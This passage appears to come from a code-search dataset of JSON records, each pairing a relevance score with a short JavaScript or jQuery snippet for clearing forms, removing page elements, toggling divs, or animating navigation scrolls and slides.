function(){\r\r\n\t\t\tgdl_content.css('position','relative');\r\r\n\t\t\tgdl_content.slideDown(600);\r\r\n\t\t\tgdl_editbox.children().fadeOut( function(){\r\r\n\t\t\t\tgdl_inline.children().remove();\r\r\n\t\t\t\tgdl_edit_item = '';\r\r\n\t\t\t\tgdl_clone_item = '';\r\r\n\t\t\t\tgdl_clicked_item = '';\r\r\n\t\t\t});\r\r\n\t\t});\r\r\n\t}", "title": "" }, { "docid": "12f36c822c75f1dc01f78013023e3a0a", "score": "0.5985206", "text": "function hide_form() {\n$('#b_form').hide();\n$('#a_form').hide();\n$('#d_form').hide();\n$('#save_form').hide().button('reset');\ndocument.getElementById(\"add_form\").reset();\nform_table='';\n$(\"#alert\").slideUp('fast').html('');\n}", "title": "" }, { "docid": "48777cc4314cb21a256429021bafe2b1", "score": "0.59813714", "text": "function removeAllDone(){\n scoreMessage.remove();\n label.remove();\n input.remove();\n submitButton.remove();\n}", "title": "" }, { "docid": "fc3e836bc0398b93283d55975d8eeb5a", "score": "0.59796375", "text": "function remakeButtons() {\n $(\"#buttonDiv\").empty();\n makeButtons(); \n }", "title": "" }, { "docid": "e8a2d95495dbcc9dc1309e71f40933db", "score": "0.59749424", "text": "function correctAnswerSelected() {\n $(\"h2\").remove();\n $(\".logo\").remove();\n\n $(\"form\").html(`<div class=\"answered-correct module\">\n <h1>Correct!</h1>\n <img src=\"patriotic_eagle_thumbs_up.JPG\" alt=\"patriotic eagle thumbs up\" class=\"image\">\n <button type=\"button\" class=\"btn-next btn\">Next</button>\n </div>`);\n}", "title": "" }, { "docid": "6635b2e6cb5841bcc8b657845146ee6a", "score": "0.596338", "text": "function clearPreviousSearchResults(){\n $(\"#results\").html(\"\");\n}", "title": "" }, { "docid": "8ebe65a59e7361ffb5d179d82da0b5d1", "score": "0.5960437", "text": "function goBackToForm2() {\r\n\r\n\t// get the form and hide the display\r\n\tvar form = document.getElementById(\"findMatches\");\r\n\tform.style.display=\"none\";\r\n\t\r\n\t// remove all the buttons from the div\r\n\tvar getDiv = form.firstChild;\r\n\t\r\n\twhile (getDiv.firstChild) {\r\n\t\tgetDiv.removeChild(getDiv.firstChild);\r\n\t}\r\n\t\r\n\t// go back to showing the 2nd form\r\n\tdocument.getElementById(\"pickNode\").style.display=\"block\";\r\n}", "title": "" }, { "docid": "28a1c7a1b6291872dc2e9b0188a24a80", "score": "0.59588903", "text": "function clearHTML() {\n while (mainTurnos.firstChild) {\n mainTurnos.removeChild(mainTurnos.firstChild);\n }\n }", "title": "" }, { "docid": "c39baa6de0247b88682d11eba0fcabd8", "score": "0.59502923", "text": "function clearSearchPage(){\n $(\".displaybucket\").empty();\n}", "title": "" }, { "docid": "b760ae70367f61007e574db156a44613", "score": "0.5949312", "text": "function resetContent() {\n $(\"#tags_1\").importTags(\"bạn tên gì, tên của bạn là gì\");\n\n $(\"#btn_answer_1\").removeAttr(\"disabled\");\n\n $(\"#switchStatus\").prop('checked', true);\n\n elem.checked = true;\n onChange(elem);\n\n // reset first input\n $(\".form-control\")[0].value = \"\";\n $(\".is_active\")[0].checked = true;\n\n var arrInput = $(\"#form_answers .input-group\");\n for (let i = 1; i < arrInput.length; i++) {\n arrInput[i].remove();\n $(\"#form_answers br\").remove();\n }\n\n}", "title": "" }, { "docid": "e27212ee6ca720d2f6871cfcf811e130", "score": "0.59446114", "text": "function clear(){\r\n $(\".film-container\").html(\"\");\r\n $(\".serie-container\").html(\"\");\r\n}", "title": "" }, { "docid": "7f79c8b3a501ad588a98e9cdc5c29098", "score": "0.5940736", "text": "function cleanSlate(currentSearch) {\r\n $('.searchbar').val('');\r\n /*remove any cards already in page*/\r\n $('#results-display .item-card').remove();\r\n /*remove any option from pagination select*/\r\n // $('.header-right option').remove();\r\n $('.pagination-container').removeClass('active');\r\n $('.pagination-container option').remove();\r\n $('#results-display').attr('data-movie-pages', '');\r\n $('#results-display').attr('data-tv-pages', '');\r\n /*remove related search terms*/\r\n $('.results-display-header').removeClass('active');\r\n /*remove warning after empty search*/\r\n $('#error-display').removeClass('active');\r\n /*create sentry for calling ajax to get the following pages*/\r\n $('.searchbar').attr('data-search-sentry', currentSearch);\r\n}", "title": "" }, { "docid": "ffb7b37050016f078040136cd75dff78", "score": "0.5936306", "text": "function resetElements(){\ndocument.getElementById('myForm').innerHTML = '';\n}", "title": "" }, { "docid": "51ce6a0da0f466b18dbe1b0382705ad8", "score": "0.59360087", "text": "function limpiarHTML() {\n // Forma lenta\n // contenedorCarrito.innerHTML = ''\n\n // Forma con mejor performance\n while (contenedorCarrito.firstChild) {\n contenedorCarrito.removeChild(contenedorCarrito.firstChild)\n }\n}", "title": "" }, { "docid": "d6ac126ac6f8150b3c5aaf848c373377", "score": "0.5930889", "text": "function resetPaymentDivs() {\n toggleHidden(selectCreditCardDiv, true);\n toggleHidden(selectPayPalDiv, true);\n toggleHidden(selectBitcoinDiv, true);\n}", "title": "" }, { "docid": "8a9a6948585d4072bb8cf1bb86dd55ae", "score": "0.5930057", "text": "function removeCatEditForm() {\n\n\t$( \".cato-edit-container\" ).remove();\n\n}", "title": "" }, { "docid": "c69eb1d743d1ff7618e522e47a07c11b", "score": "0.5929905", "text": "function clearDivsAddMovies() {\n //document.getElementById('searchResults').style.display = \"initial\";\n document.getElementById('addMovie').style.display = \"initial\";\n //document.getElementById('movieLibrary').style.display = \"initial\";\n //document.getElementById('browseMovies').style.display = \"initial\";\n\n document.getElementById('searchResults').style.display = \"none\";\n document.getElementById('movieLibrary').style.display = \"none\";\n document.getElementById('browseMovies').style.display = \"none\";\n\n}", "title": "" }, { "docid": "58bd42850b2fbe68ec942e60cb0c4fcc", "score": "0.5920329", "text": "function clear() {\n cuisines = []\n data = {}\n Array.from(form).forEach(e => {\n if(e.type !== `button` && e.type !== `submit` && e.name) {\n e.value = ``;\n }\n });\n while (list.firstElementChild) { list.removeChild(list.firstElementChild) }\n}", "title": "" }, { "docid": "0e6f83918953b27abf0a17edeef92f40", "score": "0.5919179", "text": "function clearMain() {\n $('main').children().remove();\n}", "title": "" }, { "docid": "d4fa22acb21a13591f5d8858d5de53d8", "score": "0.59159744", "text": "function clear_form() {\n /* Insert */\n $(\"#instance_add\").val(\"\");\n $(\"#token_add\").val(\"\");\n $(\"#insert_state\").removeClass(\"alert-success\");\n $(\"#insert_state\").addClass(\"alert-light\");\n $(\"#insert_state\").html(\"\");\n /* Update */\n $(\"#token_upd\").val(\"\");\n $(\"#password_upd\").val(\"\");\n $(\"#update_state\").removeClass(\"alert-success\");\n $(\"#update_state\").addClass(\"alert-light\");\n $(\"#update_state\").html(\"\");\n /* Remove */\n $(\"#id_to_remove\").val(\"\");\n $(\"#remove_state\").removeClass(\"alert-success\");\n $(\"#remove_state\").html(\"\");\n}", "title": "" }, { "docid": "83a34daf8939155cde4c72edce5a5656", "score": "0.591569", "text": "function clearAll(){\n\tclearSscInfo();\n\tclearPersonalInfo();\n\tclearColegeSelection();\n\tclearHtml(\"response_div\");\n\t$(\"#response_div\").hide();\n}", "title": "" }, { "docid": "69f5a8d20514db71c16b398e7a984d23", "score": "0.5914738", "text": "function removeStarterElements() {\n //remove current contents of page\n titleEl.remove();\n contentEl.remove();\n startBtnEl.remove();\n\n //set up container to display questions\n secondaryContentEl.setAttribute('id', 'question-format')\n}", "title": "" }, { "docid": "3095cd8a90b785498d6d125f22ca2b72", "score": "0.59110785", "text": "function removestage() {\n stageLayers.clearLayers();\n\n // Clears the control Layers\n if (stagegroup) {\n stagegroup.forEach(function (entry) {\n controlLayers.removeLayer(entry);\n })\n };\n\n $(\"#stageinfobox\").hide();\n $(\"#stagelegendelem\").empty();\n $(\"#stagelegenddiv\").hide();\n $(\"#stagelegendbtndiv\").hide();\n // JSNLog\n logger.info(\"StageLayers removed, legend hidden\");\n}", "title": "" }, { "docid": "561b801cf55c0186ea768aa527f4537f", "score": "0.59092855", "text": "function switchToAddForm() {\n $(addForm).removeClass(\"hidden\");\n $(tableDiv).addClass(\"hidden\");\n}", "title": "" }, { "docid": "7ad6a972518319ac4cb6c46d0b19e346", "score": "0.5907273", "text": "function clearForm(){\n $(\".team_inputs\").each(function(){\n $(this).val(\"\");\n });\n $(\".enter_weekly_scores\").each(function(){\n $(this).val(\"\");\n });\n }", "title": "" }, { "docid": "a39ce9ce2a2c4d971bd3835026b7e0c3", "score": "0.59060585", "text": "function clearResults() {\n document.getElementById(\"nav-submission\").innerHTML = \"\";\n}", "title": "" }, { "docid": "eff428667691e4c0d52cc9011ec88889", "score": "0.5902308", "text": "function clean(container){\n container.html(\"\"); \n}", "title": "" }, { "docid": "83a78ffd91cb520d0fddc9093ef46f17", "score": "0.58972913", "text": "function clearSM() {\n $(\"#SMForm\")[0].reset();\n $(\"#numResult\").html(\"\");\n $(\"#minResult\").html(\"\");\n $(\"#maxResult\").html(\"\");\n $(\"#result\").html(\"\");\n $(\"#sumResult\").html(\"\");\n $(\"#meanResult\").html(\"\");\n \n}", "title": "" }, { "docid": "0b8e40d91a08e82b4e3017ac0cab96b3", "score": "0.58881754", "text": "function resetForm() {\n\t\tprocessedTags = [];\n\t}", "title": "" }, { "docid": "ed2995e48a17be0df792e485f3f8dbb6", "score": "0.58877015", "text": "function deleteOldGrid() {\n while (divContainer.hasChildNodes()) {\n divContainer.removeChild(divContainer.firstChild);\n }\n }", "title": "" }, { "docid": "4de508da7a702e0869df07f8fd4a699a", "score": "0.5886346", "text": "function clearDivs() {\n $(\"#timer\").empty();\n $(\"#questionDiv\").empty();\n $(\"#choicesDiv\").empty();\n $(\"#message\").empty();\n $(\"#picture\").empty();\n $(\"#amountCorrect\").empty();\n $(\"#amountWrong\").empty();\n $(\"#amountUnanswered\").empty();\n}", "title": "" }, { "docid": "5545ec56ca7d1934b0554548e9967197", "score": "0.5882851", "text": "function clearAllFormInfo() {\n\t$(\"#combat_int_level\").val('');\n\t$(\"#noncombat_int_level\").val('');\n\t$(\"#combat_bonus\").val('');\n\t$(\"#noncombat_bonus_min\").val('');\n\t$(\"#noncombat_bonus_max\").val('');\n\t$(\"#vc_combatname\").val('');\n\t$(\"#vc_noncombatname\").val('');\n\t$(\"#id_branch\").val('');\n\t$(\"#id_field\").html('');\n}", "title": "" }, { "docid": "2448296de92982fcd4e654ae4f04edc6", "score": "0.58824396", "text": "function backToForm() {\r\n filteredAccommodation = [];\r\n summaryScreenContentContainerEl.html('');\r\n summaryScreenContentContainerEl.addClass('hidden');\r\n userInputScreenEl.addClass('active');\r\n summaryScreenEl.removeClass('active');\r\n bodyEl.css('background-image', 'url(../../img/sunrise2.JPG)');\r\n navbarEl.css('visibility', 'hidden');\r\n blurbEl.removeClass('hidden');\r\n}", "title": "" }, { "docid": "1f9832c985c86de560b935b68a8ab7e5", "score": "0.5878469", "text": "function selectionsFormCheck(){\n /* Check if the from is present already */\n /* If it is, remove it and rebuild */\n if($('myFinalForm')){\n $('myFinalForm').parentNode.removeChild($('myFinalForm').parentNode.lastChild);\n }\n if($('contentDiv')){\n $('contentDiv').parentNode.removeChild($('contentDiv').parentNode.lastChild);\n }\n}", "title": "" }, { "docid": "f81ceb94d71115d63708828f5eb00285", "score": "0.58779645", "text": "function ClearForm()\r\n{\r\n\t//$(\"compare_form\").reset();\r\n\t$(\"time1\").firstChild.nodeValue = \"\";\r\n\t$(\"time2\").firstChild.nodeValue = \"\";\r\n\treturn;\r\n}", "title": "" }, { "docid": "9425925e572ac8784e8cb8ea789dae94", "score": "0.5876796", "text": "function clearContent () {\n resultsContainerEl.innerHTML = \"\";\n weatherContainerEl.innerHTML = \"\";\n}", "title": "" }, { "docid": "4d4124d677553930af0f208fd9b2a6df", "score": "0.5876506", "text": "function clearForm() {\n\t\tclearElements();\n\t\t$('#clearall').click();\n\t}", "title": "" }, { "docid": "4ff8eb043b369f01103e4386a7648406", "score": "0.5875539", "text": "function clearAll() {\n clearHighlighting();\n $('#tag-items').empty();\n $('#error').hide();\n $('#formatted_html').hide();\n $(\"#fetch_url_spinner\").hide();\n}", "title": "" }, { "docid": "f86982e95878896b4c2cb0658b556c21", "score": "0.5873934", "text": "function limpiarHTML() {\n // Forma lenta\n // contenedorCarrito.innerHTML = '';\n\n while (contenedorCarrito.firstChild) {\n contenedorCarrito.removeChild(contenedorCarrito.firstChild);\n }\n}", "title": "" }, { "docid": "ca9119f805e019baa94de88728db095b", "score": "0.5866293", "text": "function restoreForm4(){\r\n textFormThree.value = \"\";\r\n textFormFive.value = \"\";\r\n myOut4.innerHTML = \"\";\r\n changeText.value = \"\";\r\n searchText.value = \"\";\r\n console.clear();\r\n}", "title": "" }, { "docid": "3ab3740fcd7a0c8b91526bc2683dad94", "score": "0.5859226", "text": "function removeContent(){\n\tvar bank = document.getElementById(\"txtBank\");\n\twhile (bank.firstChild) { bank.removeChild(bank.firstChild); }\n\n\tvar grid = document.getElementById(\"imgGrid\");\n\twhile (grid.firstChild) { grid.removeChild(grid.firstChild); }\n\n\tparent = true;\n}", "title": "" }, { "docid": "8c636bb872300d72994ff503130fe857", "score": "0.58566415", "text": "function cacheNewGameFormDOM () {\n\t\t\t$game_selection_form = $game_selection_shell.find(\"#game_selection_form\")\n\t\t\t$dice_operation = $game_selection_form.find(\"#dice_operation\")\n\t\t\t$number_of_tiles = $game_selection_form.find(\"#number_of_tiles\")\n\t\t\t$addition_button = $dice_operation.find(\"#addition_button\")\n\t\t\t$multiplication_button = $dice_operation.find(\"#multiplication_button\")\n\t\t\t$nine_button = $number_of_tiles.find(\"#nine_button\")\n\t\t\t$twelve_button = $number_of_tiles.find(\"#twelve_button\")\n\t\t\t$new_game_button = $game_selection_form.find(\"#new_game_button\")\n\t\t}", "title": "" }, { "docid": "78e61fa2200c8e66cc8ff38900622d71", "score": "0.585643", "text": "function clearResults() {\n\t\tdocument.getElementById(\"meaning\").innerHTML = \"\";\n\t\tdocument.getElementById(\"graph\").innerHTML = \"\";\n\t\tdocument.getElementById(\"celebs\").innerHTML = \"\";\n\t\tdocument.getElementById(\"errors\").innerHTML = \"\";\n\t\tdocument.getElementById(\"norankdata\").innerHTML = \"\";\n\t}", "title": "" }, { "docid": "8f214eb3be774f0fda017f8273694fff", "score": "0.5855787", "text": "function clearForm() {\n form.reset();\n clearError('message');\n var divs = document.getElementsByClassName('hidden');\n for (var i = 0; i < divs.length; i++)\n divs[i].style.display = '';\n}", "title": "" }, { "docid": "8f214eb3be774f0fda017f8273694fff", "score": "0.5855787", "text": "function clearForm() {\n form.reset();\n clearError('message');\n var divs = document.getElementsByClassName('hidden');\n for (var i = 0; i < divs.length; i++)\n divs[i].style.display = '';\n}", "title": "" }, { "docid": "8f214eb3be774f0fda017f8273694fff", "score": "0.5855787", "text": "function clearForm() {\n form.reset();\n clearError('message');\n var divs = document.getElementsByClassName('hidden');\n for (var i = 0; i < divs.length; i++)\n divs[i].style.display = '';\n}", "title": "" }, { "docid": "cdcc7f88470979568e5ecdca2306b04d", "score": "0.58550936", "text": "function clearDivsSearchResults() {\n document.getElementById('searchResults').style.display = \"initial\";\n // document.getElementById('addMovie').style.display = \"initial\";\n //document.getElementById('movieLibrary').style.display = \"initial\";\n // document.getElementById('browseMovies').style.display = \"initial\";\n\n document.getElementById('addMovie').style.display = \"none\";\n document.getElementById('movieLibrary').style.display = \"none\";\n document.getElementById('browseMovies').style.display = \"none\";\n//foundMovies();\n}", "title": "" }, { "docid": "44974d989e6fce55616c067b1392879e", "score": "0.5853294", "text": "function removeElements(){\n\t\t$('#translucent').remove();\n\t\t$('#infocontainer').remove();\n\t $('#info-one').remove();\n\t $('#info-two').remove();\n\t \n\t}", "title": "" }, { "docid": "dd636aab6b013ad16403336921ebda3a", "score": "0.58470523", "text": "function WorkBoxFramework_clearPeopleEditors() {\r\n\r\n var arr = document.getElementsByTagName(\"div\");\r\n for (var i = 0; i < arr.length; i++) {\r\n if (arr[i].id.indexOf(\"upLevelDiv\") > 0) {\r\n arr[i].innerHTML = '';\r\n }\r\n }\r\n\r\n arr = document.getElementsByTagName(\"input\");\r\n for (var i = 0; i < arr.length; i++) {\r\n if (arr[i].name.indexOf(\"hiddenSpanData\") > 0) {\r\n arr[i].value = '';\r\n }\r\n }\r\n}", "title": "" }, { "docid": "37e1c65f50595b6911c69351d634c909", "score": "0.5841563", "text": "function cancel_updating(){\n $('.single-result-cont').find('.updating-inputs-cont').remove();\n}", "title": "" }, { "docid": "bb1147275439c3f84bfb94a64a927247", "score": "0.58415043", "text": "function removeHtml(current) {\n\t\t\tcurrent.empty();\n\t\t}", "title": "" }, { "docid": "a2e5b44f71407d78ef52ab194b19544d", "score": "0.5840011", "text": "function clear_duplicates(target_form) {\n $('.dupe', target_form.prev()).remove();\n }", "title": "" }, { "docid": "47a75d51dd467e05533ec49e6cfbaf71", "score": "0.5835272", "text": "function nextQuestion() {\n $(\".questionArea\").empty();\n $(\".answersArea\").empty();\n displayQuestions();\n displayAnswers();\n }", "title": "" }, { "docid": "b1d5d3a1fbc3d8be6d751f70c98317b3", "score": "0.58316016", "text": "clearAllDivs() {\n const me = this;\n me.availableDivs.forEach(div => div.remove());\n me.availableDivs.clear();\n }", "title": "" }, { "docid": "3d98bab5b386355e74943e2ba3c586f0", "score": "0.58294314", "text": "function clear_results() {\r\n //Svuoto il campo di ricerca\r\n $(\"#search-header input\").val(\"\");\r\n\r\n //Svuoto gli span nei tab con il numero di risultati totali\r\n $(\".tot-results\").text(\"\");\r\n\r\n //Svuoto il contenitore con i bottoni per le pagine\r\n $(\".page-counter\").text(\"\");\r\n\r\n //Tolgo le pagine dei risultati\r\n $(\"main .container\").remove();\r\n\r\n //Azzero i filtri di ricerca\r\n $( 'input[type=\"checkbox\"]' ).prop('checked', false);\r\n\r\n //Nascondo il contenitore dei risultati e toglo tutti gli active\r\n $(\"#search-wrapper\").hide();\r\n $(\".active-tab\").removeClass(\"active-tab\");\r\n $(\".active-wrapper\").removeClass(\"active-wrapper\");\r\n $(\".active-page\").removeClass(\"active-page\");\r\n $(\".active-btn\").removeClass(\"active-btn\");\r\n}", "title": "" }, { "docid": "6f34769167e9b5a73c7d9ae4101dffb7", "score": "0.582826", "text": "function closeResults(){\n $(\"#searchResults\").empty();\n divresults.style.display = \"none\";\n divremove.style.display = \"none\";\n}", "title": "" }, { "docid": "821df1d68723fc64fce79d6f3caed521", "score": "0.5816425", "text": "function clearDivsMovieLibrary() {\n // document.getElementById('searchResults').style.display = \"initial\";\n // document.getElementById('addMovie').style.display = \"initial\";\n document.getElementById('movieLibrary').style.display = \"initial\";\n // document.getElementById('browseMovies').style.display = \"initial\";\n\n document.getElementById('searchResults').style.display = \"none\";\n document.getElementById('addMovie').style.display = \"none\";\n document.getElementById('browseMovies').style.display = \"none\";\n displayMovies();\n}", "title": "" }, { "docid": "b2745b671f93c05786fb4e80a4745a78", "score": "0.5816051", "text": "function cleanUpFrontend() {\r\n\t\tdocument.getElementById(\"typingTextfield\").innerHTML = \"\";\r\n\t\tdocument.getElementById(\"problemTextfield\").innerHTML = \"\";\r\n\t}", "title": "" }, { "docid": "4149dafca8cbad1d13df89bc69271f48", "score": "0.58099395", "text": "function submitForm(e) {\n $(this).closest(\"form\").submit();\n $(\"#contents\").val('');\n e.preventDefault();\n }", "title": "" }, { "docid": "c8c65ffdbca16b7ea2ac3580b77bf725", "score": "0.5809318", "text": "function removeAddArea(){\n $(\"#addMovieContainer\").html(\"\");\n}", "title": "" }, { "docid": "a30f5be5304d3b68c4c814fd41bab401", "score": "0.5802502", "text": "function resetAllPanels() {\n $('.form-details').slideUp();\n $('.display-details').slideDown();\n $('.change').show();\n $('.cancel-change').hide();\n }", "title": "" }, { "docid": "581194473ab22debce16b38f5eebf40d", "score": "0.5795565", "text": "function clearResults() {\n id(\"imagePreview\").style.transform = \"\";\n id(\"imagePreview\").hidden = false;\n id(\"textOverlay\").innerHTML = \"\";\n id(\"languageList\").disabled = false;\n id(\"buttonExtract\").disabled = false;\n id(\"imageText\").textContent = \"Text not extracted.\";\n id(\"imageText\").className = \"imageText yellow\";\n id(\"buttonExtract\").disabled = false;\n }", "title": "" } ]
e892c2437f87e314ca01d1b6583958d2
slide nav auto scroll
[ { "docid": "1694b6844389a6856cf72d28b99c33bb", "score": "0.0", "text": "function setSlideNavTimer(){\n window.clearInterval(slideNavTimer);\n var timer = window.setInterval(function(){\n var next = $(\".slide-nav li.active\").next().length ? $(\".slide-nav li.active\").next() : $(\".slide-nav li:first\");\n next.click();\n },5000)\n return timer;\n }", "title": "" } ]
[ { "docid": "eb07d4cce6f6bf1d6b3dc2cef109c319", "score": "0.7257197", "text": "function scrollNav() {\r\n $('.right-menu-list a').click(function() {\r\n //Animate\r\n $('html, body').stop().animate({\r\n scrollTop: $($(this).attr('href')).offset().top - 160\r\n }, 1000);\r\n return false;\r\n });\r\n $('.scrollTop a').scrollTop();\r\n }", "title": "" }, { "docid": "9efdb25f3f1219df345295617f77db4f", "score": "0.72215873", "text": "function scrollMenu() {\n\t$('.scroll-menu').singlePageNav({\n\t\toffset: 20,\n\t\tthreshold: 20\n\t});\n}", "title": "" }, { "docid": "30d3eb4908ea620a12d106f7aba24895", "score": "0.70506567", "text": "function nav_scroll() {\n var scrolly, nv, div_im, ul;\n scrolly = window.pageYOffset;\n nv = document.querySelector(\"nav.nav_movil\");\n div_im = document.querySelector(\".nav_movil li > div\");\n ul = document.querySelector(\".nav_movil li > span + ul\");\n\n if (scrolly > 1) {\n nv.setAttribute(\"class\", \"nav_movil visible\");\n } else {\n nv.setAttribute(\"class\", \"nav_movil\");\n div_im.removeAttribute(\"class\");\n ul.removeAttribute(\"class\");\n modal.setAttribute(\"class\", \"modal\");\n }\n }", "title": "" }, { "docid": "572f59b4fda11c38dbd358a342c29f7a", "score": "0.7004787", "text": "function slideShow() {\r\n if ($nav.find('.active').next().length) {\r\n $nav.find('.active').next().trigger(\"click\");\r\n } else {\r\n $nav.find('a').first().trigger(\"click\");\r\n }\r\n }", "title": "" }, { "docid": "9f7a28618946e0dd9abd7273444f351c", "score": "0.6961932", "text": "function goToByScroll(dataslide) {\r\n\t\tvar offset_top = ( dataslide == 1 ) ? '0px' : $('.slide[data-slide=\"' + dataslide + '\"]').offset().top;\r\n\t\t\r\n\t\thtmlbody.stop(false, false).animate({\r\n\t\t\tscrollTop: offset_top\r\n\t\t}, 1500, 'easeInOutQuart');\r\n\t}", "title": "" }, { "docid": "9ef66de6ff602f3390a397782469b817", "score": "0.6950367", "text": "function sliderScroll(){\n\t\t\t$(' .slider__el ').each(function(){\n\t\t\t\tvar pos = $(this).offset().top;\n\t\t\t\tvar id = $(this).attr('id');\n\t\t\t\tif( $(window).scrollTop() == (pos) && !iOS){\n\t\t\t\t\t$('.slider__el').removeClass('is-animated');\n\t\t\t\t\t$(this).addClass('is-animated');\n\t\t\t\t\t$('.slider__paginator li').removeClass('is-active');\n\t\t\t\t\t$('[href = #'+id+']').parent().addClass('is-active');\n\t\t\t\t}\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "81faba41efe50e3f8c942dda97e7b05b", "score": "0.68892944", "text": "function goToByScroll(dataslide) {\n\t\tvar offset_top = ( dataslide == 1 ) ? '0px' : $('.slide[data-slide=\"' + dataslide + '\"]').offset().top;\n\t\t\n\t\thtmlbody.stop(false, false).animate({\n\t\t\tscrollTop: offset_top\n\t\t}, 1500, 'easeInOutQuart');\n\t}", "title": "" }, { "docid": "e7a51914f823db94557ee838cfdd3a91", "score": "0.6877897", "text": "function setSmoothScrolling() {\n\t\t$('.nav-links li a, .nav-logo, .more-link').click(function() {\n\t\t var target = $(this.hash);\n\t\t if (target.length) {\n\t\t $('html,body').animate({\n\t\t scrollTop: target.offset().top\n\t\t }, 500);\n\t\t return false;\n\t\t }\n\t\t \n\t\t});\n\t}", "title": "" }, { "docid": "1bc53e1e67987fcc317bf9474f731d8f", "score": "0.6873397", "text": "function goToByScroll(dataslide) {\r\n htmlbody.animate({\r\n scrollTop: $('.slide[data-slide=\"' + dataslide + '\"]').offset().top - 55\r\n }, 2000, 'easeInOutQuint');\r\n }", "title": "" }, { "docid": "89be20aa52fc4de952559e3982bc54e5", "score": "0.685895", "text": "function goToByScroll(dataslide) {\n\t\t\t// console.log('.slide[data-slide=\"' + dataslide + '\"]');\n\t\t\tvar offset_top = 0;\n\t\t\t// if ($(window).width() <= 768){ \n\t\t\t\t\n\t\t\t// \t\toffset_top = ( dataslide == 1 ) ? '0px' : $('.slide[data-slide=\"' + dataslide + '\"]').offset().top-227;\n\n\t\t\t\t\n\t\t\t// } else {\n\t\t\t\toffset_top = ( dataslide == 1 ) ? '0px' : $('.slide[data-slide=\"' + dataslide + '\"]').offset().top;\n\t\t\t\toffset_top = ( dataslide == 2 ) ? offset_top : offset_top+1;\n\t\t\t// }\n\n\t\t\thtmlbody.stop(false, false).animate({\n\t\t\t\tscrollTop: offset_top\n\t\t\t}, 1500, 'easeInOutQuart');\n\t\t}", "title": "" }, { "docid": "4e32846ab8dce51171842aed39094647", "score": "0.6767851", "text": "function goToByScroll(dataslide) {\n htmlbody.animate({\n scrollTop: $('.slide[data-slide=\"' + dataslide + '\"]').offset().top\n }, 2000, 'easeInOutQuint');\n }", "title": "" }, { "docid": "2b4b0ff43d9b9b39e5d7d5064e8f869f", "score": "0.67647636", "text": "function scrNav() {\n var sTop = $(window).scrollTop();\n $('.section').each(function () {\n var id = $(this).attr('id'),\n offset = $(this).offset().top - 1,\n height = $(this).height();\n if (sTop >= offset && sTop < offset + height) {\n link.removeClass('active');\n $('#position_pager').find('[data-scroll=\"' + id + '\"]').addClass('active');\n }\n });\n }", "title": "" }, { "docid": "00c5659649eedebb3dfe593152596764", "score": "0.67601746", "text": "function goToByScroll(dataslide) {\n htmlbody.animate({\n scrollTop: $('.slide[data-slide=\"' + dataslide + '\"]').offset().top\n }, 1000, 'easeInOutQuint');\n }", "title": "" }, { "docid": "48a74d90de4fcd411090ec8b5bdfe452", "score": "0.6727534", "text": "function scrNav() {\n var sTop = $(window).scrollTop();//頁面在滾動距離\n $('section').each(function() {\n var id = $(this).attr('id'),\n offset = $(this).offset().top-1,\n height = $(this).height();\n if(sTop >= offset && sTop < offset + height) {\n //滾動距離要大於上一個頁面距離\n link.removeClass('active');\n $('#navbar').find('[data-scroll=\"' + id + '\"]').addClass('active');\n }\n });\n }", "title": "" }, { "docid": "2d2ecfaf8df4bcaacccddc870ec9b111", "score": "0.66958797", "text": "function scrollNav() {\n const enlaces = document.querySelectorAll(\".nav_bar_principal a\");\n //Nota importante, no se puede atar un evento a una variable tipo arreglo porque marca error, lo que tenemos que hacer es recorrer el arreglo como lo hacemos que\n //a continuacion\n enlaces.forEach(function (enlace) {\n enlace.addEventListener(\"click\", function (e) {\n //evitamos el funcionamiento por default del enlace\n e.preventDefault();\n //al hacer click en el enlace vamos a obtener el valor del atributo del href es decir el #galeria\n //asi de todos los enlaces\n const seccion = document.querySelector(e.target.attributes.href.value);\n\n seccion.scrollIntoView({\n behavior: \"smooth\",\n });\n });\n });\n}", "title": "" }, { "docid": "884a4708e968aeffde097199f24d6a6a", "score": "0.66690195", "text": "function sliderCareers(){\r\n\t$(\".slider-careers .scrollable\").scrollable({circular: true, speed:2000 }).autoscroll({ autoplay: false, interval:5000 });\r\n}", "title": "" }, { "docid": "bfe6eff475cc31cae9f66f36f659a033", "score": "0.66684633", "text": "function scrollPage(dataslide) {\n\tif(dataslide == 1)\n $(\"html,body\").animate({ scrollTop: $('.slide[data-slide=\"' + dataslide + '\"]').offset().top-40}, 'slow');\n else if(dataslide == 2)\n \t$(\"html,body\").animate({ scrollTop: $('.slide[data-slide=\"' + dataslide + '\"]').offset().top-40}, 'slow');\n else\n \t$(\"html,body\").animate({ scrollTop: $('.slide[data-slide=\"' + dataslide + '\"]').offset().top}, 'slow');\n currentSlide = dataslide;\n }", "title": "" }, { "docid": "c04d906c6237f4303237f9f344038a64", "score": "0.66564906", "text": "function scrollNav($selector, offset) {\n var $href = $($selector).children(\"a\").attr(\"href\");\n\n $($selector).each(function() {\n $htmlBody.animate({\n scrollTop: $($href).offset().top - offset\n }, transitionTime);\n });\n\n event.preventDefault();\n }", "title": "" }, { "docid": "cbcd20a7f080097895580e4b34acc6b7", "score": "0.6646941", "text": "function setNavScroll() {\n\t/* When a user clicks an album cover in the nav bar, this function scrolls the nav bar to the same place that it currently is */\n\n\t// var scroll = nav.scrollTop;\n\n\t\n\tvar album = document.getElementById(\"album\");\n\n\tvar nav = document.getElementsByTagName(\"nav\")[0];\n\tvar navImgs = nav.getElementsByTagName(\"img\");\n\n\tvar imgHeight = navImgs[1].getBoundingClientRect().top\n\t\t - navImgs[0].getBoundingClientRect().top; /* get img height, minus margins */\n\n\n\t// var order = parseInt(this.getAttribute(\"data-order\"));\n\n\t/* set the nav bar scroll so the current album is at the top */\n\t// var id = parseInt(window.location.pathname.match(/\\d+$/)[0]);\n\tvar order = album.getAttribute(\"data-order\");\n\tvar navPad = parseInt(getComputedStyle(nav).paddingTop);\n\tvar linkAtTop = imgHeight * (order - 1) + navPad;\n\tvar lowestScroll = navImgs.length * imgHeight + navPad - window.innerHeight;\n\tvar finalScroll = Math.min(linkAtTop, lowestScroll);\n\tvar currentScroll = 0;\n\tvar scrollInt = setInterval(function() {\n\t\tnav.scrollTop = currentScroll;\n\t\tcurrentScroll += 5;\n\t\tif (finalScroll > currentScroll) {\n\t\t\tnav.scrollTop = finalScroll;\n\t\t\tclearInterval(scrollInt);\n\t\t}\n\t}, 1000)\n}", "title": "" }, { "docid": "be37c2602234298ac5e76b02eb491c8d", "score": "0.6642848", "text": "function autoScroll() {\n let current = document.querySelector('.active');\n let next = current.nextElementSibling;\n\n if ( next == null ) {\n let revolver = 